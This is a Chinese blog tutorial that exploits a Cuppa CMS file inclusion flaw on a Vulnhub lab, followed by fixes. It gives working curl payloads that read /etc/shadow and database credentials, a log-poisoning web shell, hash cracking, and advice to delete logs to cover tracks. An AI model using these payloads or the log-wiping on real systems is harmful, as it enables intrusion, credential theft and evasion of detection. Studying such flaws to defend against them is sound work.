Cuppa CMS 文件包含漏洞实战:POST 请求绕过与 /etc/shadow 读取(附 2 种 Payload)
📅 2026/7/8 20:44:40
👁️ 阅读次数
📝 编程学习
Cuppa CMS 文件包含漏洞深度解析:从原理到实战绕过技巧
1. 漏洞背景与原理剖析
Cuppa CMS 是一款基于 PHP 的开源内容管理系统,其/alerts/alertConfigField.php文件存在严重的文件包含漏洞。该漏洞源于开发者直接使用$_REQUEST["urlConfig"]作为include()函数的参数,且未对用户输入进行任何过滤处理。
漏洞核心代码如下:
<?php include($_REQUEST["urlConfig"]); ?>这种实现方式导致了以下安全问题:
- 本地文件包含(LFI):通过目录遍历可读取服务器敏感文件
- 远程文件包含(RFI):当
allow_url_include开启时可执行远程恶意代码 - PHP 伪协议利用:即使禁用 RFI 仍可通过
php://filter获取源码
漏洞危害等级:高危(CVSS 3.1评分 9.8)
提示:文件包含漏洞常被用于读取配置文件、日志文件等,进而获取数据库凭证或实现权限提升。
2. 环境搭建与基础验证
2.1 实验环境准备
推荐使用以下环境进行漏洞复现:
- 靶机:W1R3S 1.0.1 (Vulnhub)
- 攻击机:Kali Linux 2023+
- 网络配置:NAT模式同网段
必要工具清单:
# Kali 基础工具 sudo apt install curl nmap dirsearch john -y # 可选工具 git clone https://github.com/danielmiessler/SecLists.git2.2 基础漏洞验证
传统 GET 方式测试:
curl "http://target/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../etc/passwd"常见失败原因分析:
- 路径深度不足(需要至少7级
../) - 特殊字符被过滤或编码
- 服务端配置了请求方法限制
3. POST请求绕过技术详解
3.1 请求方法差异分析
通过对比GET与POST的处理逻辑差异,我们发现:
| 特性 | GET请求 | POST请求 |
|---|---|---|
| 参数位置 | URL可见 | 请求体隐藏 |
| 长度限制 | 约2048字符 | 理论上无限制 |
| 数据编码 | URL编码 | 多种编码可选 |
| 安全过滤 | 通常更严格 | 可能绕过部分WAF规则 |
3.2 有效Payload构造
成功读取/etc/passwd的POST请求:
curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" \ http://192.168.47.154/administrator/alerts/alertConfigField.php关键技巧:
- 使用绝对路径遍历(至少8级
../) - 对特殊字符进行URL编码
- 添加随机请求头规避基础防护
3.3 敏感文件读取实战
读取Linux系统关键文件:
1. 用户账户信息
# 读取/etc/passwd curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" $TARGET # 读取/etc/shadow(需root权限) curl -X POST -d "urlConfig=../../../../../../../../../etc/shadow" $TARGET2. Web服务器配置
# Apache配置 curl -X POST -d "urlConfig=../../../../../../../../../etc/apache2/apache2.conf" $TARGET # Nginx配置 curl -X POST -d "urlConfig=../../../../../../../../../etc/nginx/nginx.conf" $TARGET3. 数据库凭证获取
# Cuppa CMS配置文件 curl -X POST -d "urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php" $TARGET | base64 -d4. 漏洞利用进阶技巧
4.1 伪协议利用
当目录遍历被限制时,PHP伪协议是绝佳的替代方案:
1. 源码泄露
curl -X POST -d "urlConfig=php://filter/convert.base64-encode/resource=index.php" $TARGET | base64 -d2. 文件包含结合日志注入
# 注入PHP代码到访问日志 curl -A "<?php system(\$_GET['cmd']); ?>" $TARGET # 包含日志文件执行代码 curl -X POST -d "urlConfig=../../../../../../../../../var/log/apache2/access.log" $TARGET4.2 权限提升路径
通过文件包含获取敏感信息后的典型提权路径:
- 数据库凭证提取→ SQL注入/直接登录
- SSH私钥发现→ 私钥登录尝试
- 配置文件泄露→ 查找硬编码凭证
- Cron任务分析→ 寻找可写脚本
在W1R3S靶场中,通过读取shadow文件并破解哈希后,发现用户w1r3s具有sudo权限:
$ sudo -l User w1r3s may run the following commands on this host: (ALL : ALL) ALL5. 防御方案与修复建议
5.1 临时缓解措施
对于无法立即升级的系统:
1. 输入过滤
$allowedPaths = ['config/','alerts/']; $urlConfig = $_REQUEST['urlConfig']; if(!in_array(dirname($urlConfig), $allowedPaths)){ die('Invalid path!'); }2. 文件白名单
$allowedFiles = ['config.ini','settings.php']; if(!in_array(basename($urlConfig), $allowedFiles)){ die('File not allowed!'); }5.2 彻底修复方案
- 升级到最新安全版本
- 禁用危险PHP函数(
allow_url_include=Off) - 实施最小权限原则(Web用户只读权限)
- 部署WAF规则拦截恶意包含请求
5.3 安全开发规范
安全文件包含实现模板:
<?php $baseDir = '/var/www/cuppa/'; $requestedFile = $_GET['file']; $absolutePath = realpath($baseDir . $requestedFile); // 验证路径是否在白名单内 if(strpos($absolutePath, $baseDir) !== 0){ die('非法访问!'); } // 验证文件扩展名 $allowedExt = ['php','html','txt']; $ext = pathinfo($absolutePath, PATHINFO_EXTENSION); if(!in_array($ext, $allowedExt)){ die('不支持的文件类型!'); } include($absolutePath); ?>6. 渗透测试方法论总结
在实战渗透测试中,遇到类似漏洞时应遵循以下流程:
- 信息收集:识别CMS版本和已知漏洞
- PoC验证:测试基础漏洞是否存在
- 绕过尝试:变换请求方法/编码方式
- 权限提升:利用获取的信息扩大访问范围
- 痕迹清理:删除日志和临时文件
典型踩坑记录:
- 使用John破解shadow文件时,注意清除
~/.john/john.pot避免重复破解 - 某些系统对路径长度有限制,需要优化
../数量 - 不同PHP版本对伪协议的支持存在差异
编程学习
技术分享
实战经验